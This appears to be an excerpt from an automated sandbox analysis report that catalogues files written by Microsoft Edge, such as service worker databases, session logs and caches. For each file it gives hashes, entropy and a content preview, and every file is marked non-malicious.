SSDEEP:	24:F2xc5NmncncmokCROulg2DYfRHgI7CROulg2PVFfCROulg2DDRHgIpqCROulg2kE:F2emIedDYfBg9dPVFadDDBgWdkBgz
MD5:	8EC79518EDCE0C69EFC9287846B043E9
SHA1:	324660E6E877BB323ECE3F94998B9E1D9A82EC9F
SHA-256:	2883736F73D90B946BF2C982146E336CA111C84A2787C2B716B24071FFEAE6F3
SHA-512:	9D626EDFDF96140230E1B380AC0D64B10BBC03F1995AEE6D90BB0D1462BF3783EA509C56C993C59170C41E7EE6B0C66FCD7978FE20992A5AA5F1523EE750E761
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.R..1................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayo

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.148791899624141
Encrypted:	false
SSDEEP:	6:Pc1N723oH+TcwtE/a252KLl1H39+q2PN723oH+TcwtE/a2ZIFUv:0aYeb8xLN+vVaYeb8J2FUv
MD5:	591A9A680F99A438FFE548EFCC6E165C
SHA1:	8A2ACC77B922AC2FB6B4FDE147E5067D36CB2FAE
SHA-256:	9685809C826965F13B45C0AD3546297CF31EC6D4B5E009B2157D0D7AB90AD834
SHA-512:	DD2F792069B54D72508712C91D9DF31D538D1844C9C0D8A1178ECFDA3604AD3E8AFC096FE46576C1F099EA617E9CA426C4F0A1A7ACE46DC3E7024E5901E69627
Malicious:	false
Preview:	2024/10/29-10:27:46.789 1dbc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/10/29-10:27:46.801 1dbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113310
Entropy (8bit):	5.578725996523043
Encrypted:	false
SSDEEP:	1536:UU906yxPXfOxr1lhCe1A46rCjQ3NGIjn53vIZPiAL/r4L/r1L3:59LyxPXfOxr1lMe1Z6rFJlv47L/ML/x3
MD5:	7B2A32E9DD831A4DFC52F102B5884B91
SHA1:	ED0DB6699E38139D1A9A5B14EFE9F20DA83DCED0
SHA-256:	0B6F796621E4E83184FD34AD8D896D3A6F9A8152F25CD278A82F3B24CD569EAE
SHA-512:	9868E02E95E3CBFEC92F108B321D644898FCCEA69C6BA3B120EDBBA71C9309945A71D2A56D9627E4087C954CD744D764F2D8E20EC5E24B26648CB55326C62C56
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187401
Entropy (8bit):	6.380543127114941
Encrypted:	false
SSDEEP:	3072:cWvVVRUFnGdLewClLrRWdo4PP6h4vLslpWCNUifjuzLL/mmDtdW:/LJewC5Rjsjslm2jaLL/v+
MD5:	4B29F2A0F0EEC3A9A01DA48B9B1B7435
SHA1:	DCA21E8C1C4828E8BAF2DD1DFDF2EE35AD4DF3BA
SHA-256:	04DC25C487772DA22924B287EE93E18B6788221437857EB757188F005DE0C661
SHA-512:	EBE28925853D402079A98C8669C8F049BC528A8607FE5C51A1A454A57264DAB0DB08BF3D7FB08F9E882805F08A2D4E476FC29C6DC078D64421A67EEA3D6D27EB
Malicious:	false
Preview:	0\r..m..........rSG.....0....>...............R......-.&..........,T.8..`,.....L`.....,T...`......L`......Rc.t.....exports...Rc..N....module....Rc.tNf....define....Rb.'......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......Q.Q.M..\.7D...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=truea........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....Q...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4.........../...-..........\....-..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:qhaXl/lkV/lxEwltcfZqln:qIkWQSxe
MD5:	8BA06C99CE80A3F15AD650ED5DFF6F93
SHA1:	2B599C20D7DC55F0FF783C1C534FB09C11E13954
SHA-256:	4A1405BA32C73238145A4BF78E4719C448956B674D737A105BFB508D385B4A10
SHA-512:	0C42815F3760B7B18FA1BDB99582201608F40B9BB5EC812D27FADB9438C1058B60BB2B05BA855203ED8FA15023CA6943FAC5428EE1154B598BC0E3DB642442CE
Malicious:	false
Preview:	@......{oy retne.........................X....,.................wA.4./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:qhaXl/lkV/lxEwltcfZqln:qIkWQSxe
MD5:	8BA06C99CE80A3F15AD650ED5DFF6F93
SHA1:	2B599C20D7DC55F0FF783C1C534FB09C11E13954
SHA-256:	4A1405BA32C73238145A4BF78E4719C448956B674D737A105BFB508D385B4A10
SHA-512:	0C42815F3760B7B18FA1BDB99582201608F40B9BB5EC812D27FADB9438C1058B60BB2B05BA855203ED8FA15023CA6943FAC5428EE1154B598BC0E3DB642442CE
Malicious:	false
Preview:	@......{oy retne.........................X....,.................wA.4./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF44a92.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:qhaXl/lkV/lxEwltcfZqln:qIkWQSxe
MD5:	8BA06C99CE80A3F15AD650ED5DFF6F93
SHA1:	2B599C20D7DC55F0FF783C1C534FB09C11E13954
SHA-256:	4A1405BA32C73238145A4BF78E4719C448956B674D737A105BFB508D385B4A10
SHA-512:	0C42815F3760B7B18FA1BDB99582201608F40B9BB5EC812D27FADB9438C1058B60BB2B05BA855203ED8FA15023CA6943FAC5428EE1154B598BC0E3DB642442CE
Malicious:	false
Preview:	@......{oy retne.........................X....,.................wA.4./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6855
Entropy (8bit):	3.396661346209379
Encrypted:	false
SSDEEP:	192:tZl4yOa2lvM9Lp+Sqis/eh5NLl9iSrkkfF:qyOaB9Lp+ZT/eh5NLl9iSrtF
MD5:	51943F2E292EBF3B23743642EAD865FA
SHA1:	33DD784774EEBDDF047ECBC976DA75B7AD625A54
SHA-256:	D4994A505F1D77547FFEFE92DC98BFE631F9FC50F589D485F574EF1D468AA709
SHA-512:	5E92C0B07DCDB7CDBBED0A42AE988467FBD3DC3385B0EA3E45BD7DF51105D0C75DCF13DD4D846A0790C060257CF856005527FA3F42DDBF3BD67CF7DB9160D364
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................}.xb................next-map-id.1.Cnamespace-ca527813_90a8_481c_9d97_de9a47bad3f7-https://ntp.msn.com/.0.l...................map-0-shd_sweeper.2{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.t.q.s.t.,.m.m.s.-.s.c.-.s.c._.c.o.n.3.,.p.n.p.w.e.a.t.o.d.a.y.,.a.d.s.-.f.l.r.m.g.p.-.t.u.n.e.d.-.t.,.s.i.d.-.f.l.r.n.o.i.s.e.2.,.s.i.d.a.m.o.-.f.l.r.-.s.t.a.g.e.,.p.r.g.-.l.o.c.k.-.m.i.t.3.t.r.f.4.,.1.s.-.p.1.-.c.e.g.p.r.e.v.,.1.s.-.p.1.-.c.e.g.r.o.w.t.h.,.1.s.-.p.2.-.c.e.g.r.o.w.t.h.,.1.s.-.p.2.r.v.t.4.-.c.e.g.r.o.w.t.h.,.1.s.-.p.r.v.t.4.-.c.e.g.r.o.w.t.h.,.p.r.g.-.1.s.w.-.m.i.t.3.t.r.f.4.,.p.r.g.-.p.r.2.-.m.i.t.3.t.r.f.4.,.s.h.s.t.r.3.c.-.c.,.p.r.g.-.s.p.-.l.a.y.o.u.t.,.i.c.r.s.c.a.l.l.-.s.p.o.r.t.s.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.3.d.,.p.r.g.-.1.s.w.-.s.a.e.r.e.v.a.r.f.1.t.3.,.p.r.g.-.c.g.-.g.a.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1763283100514546
Encrypted:	false
SSDEEP:	6:P84fnOq2PN723oH+TcwtrQMxIFUt8c8TZmw+c8dFfBRFkwON723oH+TcwtrQMFLJ:E4mvVaYebCFUt8xT/+xdPRF5OaYebtJ
MD5:	EC5F439497E7814793124570CCC7AD30
SHA1:	2B49ED62A1BBB478A8A875AF3535ADD801103117
SHA-256:	0D036789ADDCD454CF5727EE3645E8194D7BC3FDF853C1209716137A1D00AAB7
SHA-512:	605D0C353E2193E840122837D8AF0EC962843220D306C240350482B22B263D7736372E895EF457C7356EB2510959247F99BF60419CC8F0D452925EDFD9281509
Malicious:	false
Preview:	2024/10/29-10:27:36.958 1cd4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/29-10:27:36.959 1cd4 Recovering log #3.2024/10/29-10:27:36.964 1cd4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1763283100514546
Encrypted:	false
SSDEEP:	6:P84fnOq2PN723oH+TcwtrQMxIFUt8c8TZmw+c8dFfBRFkwON723oH+TcwtrQMFLJ:E4mvVaYebCFUt8xT/+xdPRF5OaYebtJ
MD5:	EC5F439497E7814793124570CCC7AD30
SHA1:	2B49ED62A1BBB478A8A875AF3535ADD801103117
SHA-256:	0D036789ADDCD454CF5727EE3645E8194D7BC3FDF853C1209716137A1D00AAB7
SHA-512:	605D0C353E2193E840122837D8AF0EC962843220D306C240350482B22B263D7736372E895EF457C7356EB2510959247F99BF60419CC8F0D452925EDFD9281509
Malicious:	false
Preview:	2024/10/29-10:27:36.958 1cd4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/29-10:27:36.959 1cd4 Recovering log #3.2024/10/29-10:27:36.964 1cd4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13374685658351557

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1470
Entropy (8bit):	3.8001618243742974
Encrypted:	false
SSDEEP:	24:3SEaJPnLPtpsAF4unxU2gtLp3X2amEtG1ChqMK1LIQKkOAM4:3UfLPtzFr+Lp2FEkChC1LpHOp
MD5:	0C38D8BD3117D99D9802214556F2CA75
SHA1:	801DC5E1EA3BE27B1DE5EC3D5EE768AD95ECA1F0
SHA-256:	A43EA5EF01C0C7B356C72B9692763147802DA0EF5C07EC56775D8819F860C360
SHA-512:	91A8995679682B02CEE9741DDB5F94ECB8EA87BE905AF30399673AEDD035586F29484009426FE5E15355AE30559D56ECB0A66A48F9E7EE42C6517D122C0A1AFD
Malicious:	false
Preview:	SNSS........s)O............s)O......".s)O............s)O........s)O........s)O........s)O....!...s)O................................s)O.s)O1..,....s)O$...ca527813_90a8_481c_9d97_de9a47bad3f7....s)O........s)O................s)O....s)O........................s)O........................s)O...........................s)O....................5..0....s)O&...{46F3A197-DB49-410A-81B3-94975C835573}......s)O........s)O............s)O........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......<z3c.%..=z3c.%.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8.................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.142193093366811
Encrypted:	false
SSDEEP:	6:PN1K+q2PN723oH+Tcwt7Uh2ghZIFUt8cNFBEWZmw+cNFBzVkwON723oH+Tcwt7UT:l1K+vVaYebIhHh2FUt8AFBEW/+AFBzVy
MD5:	3B0AF119F7F45F5C5FEB06659E5901C7
SHA1:	9377B3D24A0B725CCAB903E26201BC294CF5FF98
SHA-256:	D85EB3DB44FDF8FAB285735E7F0124DC55A43D3AA82856D22B874A96B4BA3B8F
SHA-512:	F0DA4A6152F23A97CBCFFF864B623281985E10F2B3CE8E3486F81A565ABFD04C376B9F8A147BB03E75BDE0D3E5A0B0D3E8E4FAA919CBAD8A72D576659F4BCF3A
Malicious:	false
Preview:	2024/10/29-10:27:35.746 1dec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/29-10:27:35.747 1dec Recovering log #3.2024/10/29-10:27:35.747 1dec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.142193093366811
Encrypted:	false
SSDEEP:	6:PN1K+q2PN723oH+Tcwt7Uh2ghZIFUt8cNFBEWZmw+cNFBzVkwON723oH+Tcwt7UT:l1K+vVaYebIhHh2FUt8AFBEW/+AFBzVy
MD5:	3B0AF119F7F45F5C5FEB06659E5901C7
SHA1:	9377B3D24A0B725CCAB903E26201BC294CF5FF98
SHA-256:	D85EB3DB44FDF8FAB285735E7F0124DC55A43D3AA82856D22B874A96B4BA3B8F
SHA-512:	F0DA4A6152F23A97CBCFFF864B623281985E10F2B3CE8E3486F81A565ABFD04C376B9F8A147BB03E75BDE0D3E5A0B0D3E8E4FAA919CBAD8A72D576659F4BCF3A
Malicious:	false
Preview:	2024/10/29-10:27:35.746 1dec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/29-10:27:35.747 1dec Recovering log #3.2024/10/29-10:27:35.747 1dec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.226618271183251
Encrypted:	false
SSDEEP:	12:E6OvVaYebvqBQFUt8xJ/+0F5OaYebvqBvJ:EfVaYebvZg8xxOaYebvk
MD5:	FE903746ABCE8F920EF1166506052012
SHA1:	7CEF79EE0CF356891B08DC1B811BB1080873F69E
SHA-256:	2FE6F764606A8ED90C7424F37A593A35C639C7A72AA9ECC825DF55BC041520F6
SHA-512:	133865F9754B55D810BA38E9D561FB7A07D862401758F91A53B33A7C055057723D5B9ACC201894AC3E34D073788E81C3A631D44973754889AFA9DE28A25700F6
Malicious:	false
Preview:	2024/10/29-10:27:36.996 1cd4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/29-10:27:36.997 1cd4 Recovering log #3.2024/10/29-10:27:37.001 1cd4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.226618271183251
Encrypted:	false
SSDEEP:	12:E6OvVaYebvqBQFUt8xJ/+0F5OaYebvqBvJ:EfVaYebvZg8xxOaYebvk
MD5:	FE903746ABCE8F920EF1166506052012
SHA1:	7CEF79EE0CF356891B08DC1B811BB1080873F69E
SHA-256:	2FE6F764606A8ED90C7424F37A593A35C639C7A72AA9ECC825DF55BC041520F6
SHA-512:	133865F9754B55D810BA38E9D561FB7A07D862401758F91A53B33A7C055057723D5B9ACC201894AC3E34D073788E81C3A631D44973754889AFA9DE28A25700F6
Malicious:	false
Preview:	2024/10/29-10:27:36.996 1cd4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/29-10:27:36.997 1cd4 Recovering log #3.2024/10/29-10:27:37.001 1cd4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\92c332df-44f7-4e0c-80cc-43c85312ef24.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\9597ade9-bedc-443f-a4d0-c446dd12b84e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\9899937c-ab92-4a78-8cdb-afcbbbdae296.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

